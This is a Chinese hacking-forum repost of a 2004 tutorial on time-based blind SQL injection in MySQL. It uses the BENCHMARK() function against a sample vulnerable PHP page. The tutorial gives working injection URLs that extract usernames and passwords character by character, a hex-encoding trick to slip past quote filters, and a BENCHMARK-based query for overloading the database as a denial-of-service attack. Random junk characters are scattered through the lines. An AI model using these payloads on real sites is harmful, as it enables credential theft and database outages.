找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2409|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用   A# H7 q& N- u6 n6 u0 F
本文作者:SuperHei
2 D7 U4 E3 d+ q. M% T文章性质:原创
. |: B2 [4 P+ o9 b发布日期:2005-01-02! K! s: v$ B. d
完成日期:2004-07-09 + N2 [  k5 q0 x
第一部2 P# Z2 l$ T0 i8 S* }  f% j, _

- E: N. v, N# `% ]* d3 k2 `利用时间推延进行注射---BENCHMARK函数在注射中的利用 $ v! L7 W  w- S" ?

) i- D7 m/ K/ o6 `5 K一.前言/思路
) ?) M$ A8 e  Z9 I
% x& x$ l+ s! N8 \  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
& F( X% b3 T: c1 j7 |- i0 i
, |! d7 ~7 @1 z( R  \5 U5 Y  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。8 D0 p  T& M6 w# n& B

* P: G* l3 Q. h8 D; ]0 o二.关于BENCHMARK函数
) s( F+ ~, z" z; O$ `2 R' F$ q. s3 @8 T1 I$ q
  在MySQL参考手册里可以看到如下描叙: 5 X3 m" V. C: i# A4 {/ A* k

2 k0 V: b" ~# ^) E3 f2 h# e- D' O% T" i4 m; ~( y
--------------------------------------------------------------------------------7 @8 e. ~* {. G7 Y6 k( n" f
* _* p0 o3 X- k' Y8 A
BENCHMARK(count,expr) 1 ]" v3 y; D7 A+ j; Y- v/ T
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
. o1 K* G/ y9 vmysql> select BENCHMARK(1000000,encode("hello","goodbye")); % C. @. N6 z! Y# q
+----------------------------------------------+
5 g' P9 [3 h. V0 J| BENCHMARK(1000000,encode("hello","goodbye")) | % P* q* X9 i3 A7 _* M. O2 K
+----------------------------------------------+
8 h1 F) m! V* S$ s| 0 |
& B3 c( f& u# }/ \( h( a' ]3 w+----------------------------------------------+
% n( N/ n6 D- ?  ?- |% t0 S1 row in set (4.74 sec)
& [$ [7 `$ a0 Y( k2 |3 k- B; u9 U1 U7 P  k* H# H; b/ }
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。2 S  B. \  K" y; T( O# M. I# v

2 k' A/ Q8 j- J' w, D
0 p1 A; Q5 G% M1 Z  e- s1 k--------------------------------------------------------------------------------9 O) Z) _3 D' t" q  B, x* U
. {: {4 ~+ ?' U6 g  g; O: n- ?
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 3 {% _* G' q- J% |
4 M& A5 f8 @; f% w4 ~  v  N
mysql> select md5( 'test' );
) `' |# [; A: K1 ?: Z# t+----------------------------------+
" @% h$ z- |9 l; q4 @' O/ l. p| md5( 'test' ) |
; v$ I4 H; b; u- s+ I, n+----------------------------------+ 7 ?4 \5 n: m. y( |4 x6 [
| 098f6bcd4621d373cade4e832627b4f6 |
, j4 W  ?8 w$ y8 r$ E+ m+----------------------------------+
& H9 O6 b+ z- [- h& m0 |$ r1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec - C% T( ^4 j; t

% D  t1 D6 d# |% |, jmysql> select benchmark( 500000, md5( 'test' ) );
# O$ a0 F& B/ L4 t+------------------------------------+ + e" N, S; E  _  P) K- I
| benchmark( 500000, md5( 'test' ) ) | ! p7 E* f+ R) E: o$ ~; q) C
+------------------------------------+ ; s$ |9 \: e9 w/ N  ~1 s( Y
| 0 | - u1 {7 E; ~3 E. [: t4 y$ d; u! o
+------------------------------------+ 4 q) j1 ~+ e: D# p8 t( W, F
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
8 G" Z' ^4 O4 Y( B. X1 M+ D+ Y2 M
8 @8 u, r9 z: J8 Y0 o& Z5 v3 h* X0 M/ a
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 $ E+ K0 O! D) Q) t% _. J

& L3 B/ K, S+ |2 M7 m5 [3 L三.具体例子
3 Q% B7 N0 e- I6 M, f
: p& L+ _. b' z- ]- \  首先我们看个简单的php代码:+ v* E0 U2 r! I/ Q+ p$ M

6 J9 Y* B3 ~6 b' @2 V9 u. m. X< ?php
3 U, _" L) v9 `  b6 p5 r, S+ o9 Y  c$servername = "localhost";
2 h) X3 D0 A* |% h  ~/ o, q1 w9 M$dbusername = "root"; - P; J) @. h8 L& L' j' C
$dbpassword = "";
+ ?/ [7 Z" D! b$dbname = "injection";
% M/ T9 ~0 h6 R; }5 a6 _, b% a) f, \/ y8 F+ W4 D9 W6 f
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, q+ \/ z& ~3 X8 I
+ j$ O# {/ e' Z/ h$sql = "SELECT * FROM article WHERE articleid=$id";
2 |' x: Z8 o- P4 t$result = mysql_db_query($dbname,$sql);
7 E: N0 D, K: g- G9 @* L$ J$row = mysql_fetch_array($result);
( g$ u1 V3 W, d* `6 v1 V7 a% }6 i' l$ E( n. ^" o
if (!$row) 0 n: |, t5 }& }2 J+ |5 K
{ : D6 M0 {* K- r+ S
exit;
7 C% E$ a( B, R' E7 m! U}
) X4 ]: O+ U  U8 Q/ O2 g4 c" F?>5 O) L8 _6 x8 G. a9 {+ H  g. H
( w4 d- ^: h4 {; X+ U

0 u, y0 p6 u0 i0 M: e* q  \  数据库injection结构和内容如下:' ]9 N$ w- |7 D: ~! ~& x& i
! a5 k7 x! u! ?# P' K" S
# 数据库 : `injection` ) A" Y- i2 R4 f) ~, t7 D3 N
#
( U# V* |+ R% R) w% \0 G. G2 k' S/ R: U2 N4 r. H
# --------------------------------------------------------
: Q$ c; V( X3 g8 `! `
$ k7 A; h+ L2 t' C% S, x7 H# 3 O: p9 `6 y/ m$ n! [
# 表的结构 `article`
; M( e! a" j( a' T3 T( ]6 A#
# H( d/ U' k/ ~) \+ o, O. |; W0 t: R
CREATE TABLE `article` (
: @) x5 U4 W! W- Y0 o8 h3 C8 O! F- w`articleid` int(11) NOT NULL auto_increment,
0 ]4 D$ P  M4 G! R! ~! X2 @`title` varchar(100) NOT NULL default '',
$ }. [( v$ Y; ~. x' ^% O$ I+ h! [`content` text NOT NULL, ) P) g" W3 E3 E9 r4 F
PRIMARY KEY (`articleid`) / _) h  _0 L' C5 @! Q; d
) TYPE=MyISAM AUTO_INCREMENT=3 ;
7 h' A- u  m: }$ [0 U- P+ [6 Y. K# z
#
6 k4 u1 }; m' i7 J# 导出表中的数据 `article`
9 L4 Y' F( ~. h9 O( l. w# ! I6 i4 Y: w8 j/ i! B3 a* ~

  I. v+ p6 V0 ^5 Z% C, xINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
* R+ f$ z' e$ A6 v7 i7 ZINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); 7 X& ~- {9 x* ^7 g' u
# G( `# ?/ D" D* h) S2 Q. z7 V
# -------------------------------------------------------- $ H# L% J/ e& e- E$ Z: r

4 i  g4 s+ b! g  Q1 i( C2 }#
% _8 N) I1 H1 O3 a2 }# 表的结构 `user` ; S+ l  ~0 _8 o' E( u1 A  X' Q1 ^" k
# ' I' T4 D- s6 f) j9 |
; k/ |% F" t. K4 ~5 x) S: z' M
CREATE TABLE `user` (
4 L- [0 F2 A& ]( x`userid` int(11) NOT NULL auto_increment, 6 j' Q/ ?5 W  U- K$ X% z; n  v9 Y
`username` varchar(20) NOT NULL default '',
' d9 G$ u9 H( ^( s/ Y2 n% ?4 q) P`password` varchar(20) NOT NULL default '', " b* K' c& h: K
PRIMARY KEY (`userid`)
+ \3 r! V! D( e) TYPE=MyISAM AUTO_INCREMENT=3 ;
/ h" V& s* E! [" z( C/ U
1 L8 U8 p) ~5 A" j7 C' J. R' P# I9 p#
; p! A) z9 d* V# 导出表中的数据 `user`
6 J. s2 Q* b3 y2 c# ! N3 i0 o( s/ }  S  K

! `+ t: z- I2 |2 O+ L. kINSERT INTO `user` VALUES (1, 'angel', 'mypass'); " @1 T/ |2 b0 V7 N/ g# r
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');* a9 p" j- m9 l
0 Q. f8 `: O  j- i+ O; j
* w/ Q8 C2 l1 x, [4 G
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
9 o+ Q1 k3 z. }# @9 t. E& |
; g  M+ K6 N( B5 @" kid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*4 Q$ v2 M/ |* w+ N1 K" f% @
. ?: Y  p# G+ p! r( k: d
2 m# D$ ]3 {( e* m
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:- a' Q3 I! k) Y6 a
$ ^7 T  v+ `$ l# Y2 i/ a
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
6 F- |4 U- Q$ x- O7 r' T; U) A5 \
( i' U+ p: z1 g3 J" f4 c6 W3 M' V7 |5 ]3 f( @0 ~, g
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
( y8 t' [, j, r) Q% G7 v% C$ |# ]9 c+ n9 V
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 - O3 a6 U- e* u/ b) m' D
4 _9 f; q& |) c: |
第二部
+ A* ?0 `! L8 K* Q7 W  g) N8 b! `3 M+ X  y
利用BENCHMARK函数进行ddos攻击
; j! c- R& w3 H! Y; \. H
% k, O; Z8 I' g* W* Z1 @* |  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
/ y/ t2 c  t% D, P/ m+ V+ j
. }/ k7 a, f+ K# u* S( Jhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))5 |* K7 M: o) s7 ^1 E5 g: Q
0 v4 [- c% D: |7 h) C+ C

" P8 s3 }* h' o; g小结4 A/ R( A" a! o/ l9 b
% f5 Z: u3 s' ~
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
) D: m3 e7 I) M. A) g , U7 D# e2 C( a4 r% Y+ e; _* }
  
2 R/ P. V! `# p/ d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表